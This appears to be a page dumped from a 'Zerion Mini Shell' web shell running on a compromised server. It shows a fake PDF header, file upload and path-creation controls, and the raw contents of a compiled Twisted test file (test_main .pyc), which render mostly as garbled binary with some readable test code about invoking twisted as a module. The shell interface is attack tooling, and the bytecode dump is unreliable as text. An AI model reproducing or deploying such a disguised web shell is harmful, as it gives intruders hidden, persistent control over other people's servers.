%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/test/__pycache__/test_main.cpython-312.pyc

�

Ϫ�fv��Z�dZddlZddlmZddlmZmZddlmZddl	m
Z
Gd�de
�Zy)	z6
Test that twisted scripts can be invoked as modules.
�N)�StringIO)�defer�reactor)�Accumulator)�TestCasec�"�eZdZdZd�Zd�Zd�Zy)�	MainTestsz4Test that twisted scripts can be invoked as modules.c�^���tj}t��tj�x}�_t
j�||dddgd���jj�ddl
m}�jtd|jdg���fd	�}|j|�S)
z0Invoking python -m twisted should execute twist.�-m�twisted�--helpN��envr��__main__�argvc�f���j}|j�}�jd|v|�y)Ns,-m twisted [options] plugin [plugin_options]��outF�getvalue�
assertTrue��ign�f�output�p�selfs   ���8/usr/lib/python3/dist-packages/twisted/test/test_main.py�processEndedz,MainTests.test_twisted.<locals>.processEnded!s-������A��Z�Z�\�F��O�O�?�6�I�6�
�)�sys�
executablerr�Deferred�
endedDeferredr�spawnProcess�	transport�
closeStdinrr�patch�__file__�addCallback�r�cmd�drrrs`    @r�test_twistedzMainTests.test_twisteds�����n�n���M��#�n�n�.�.��A�O����Q��c�4��H�%E�4�P�	����� �	%��
�
�3���!2�!2�H� =�>�	��}�}�\�*�*r c�^���tj}t��tj�x}�_t
j�||dddgd���jj�ddl
m}�jtd|jdg���fd	�}|j|�S)
z6Invoking python -m twisted.trial should execute trial.rz
twisted.trialr
Nrrrrc�f���j}|j�}�jd|v|�y)Ns-j, --jobs= rrs   ��rrz*MainTests.test_trial.<locals>.processEnded8s*������A��Z�Z�\�F��O�O�O�v�5�v�>r )r!r"rrr#r$rr%r&r'�
twisted.trialrr(r)r*r+s`    @r�
test_trialzMainTests.test_trial+s�����n�n���M��#�n�n�.�.��A�O����Q��c�4��(�%K�QU�V�	����� �	+��
�
�3���!2�!2�H� =�>�	?��}�}�\�*�*r c���t�}|jtd|�}ddl}|j	|j
�|j
�|j|j�d�y)z2Importing twisted.__main__ does not execute twist.�stdoutrN�)	rr(r!�twisted.__main__rr�restore�assertEqualr)rr�monkeyrs    r�test_twisted_importzMainTests.test_twisted_import@sQ��������C��6�2�������(�(�)�����������*�B�/r N)�__name__�
__module__�__qualname__�__doc__r.r2r:�r rr	r	s��>�+�.+�*
0r r	)r>r!�ior�twisted.internetrr�twisted.test.test_processr�twisted.trial.unittestrr	r?r r�<module>rDs'���
��+�1�+�90��90r 

Zerion Mini Shell 1.0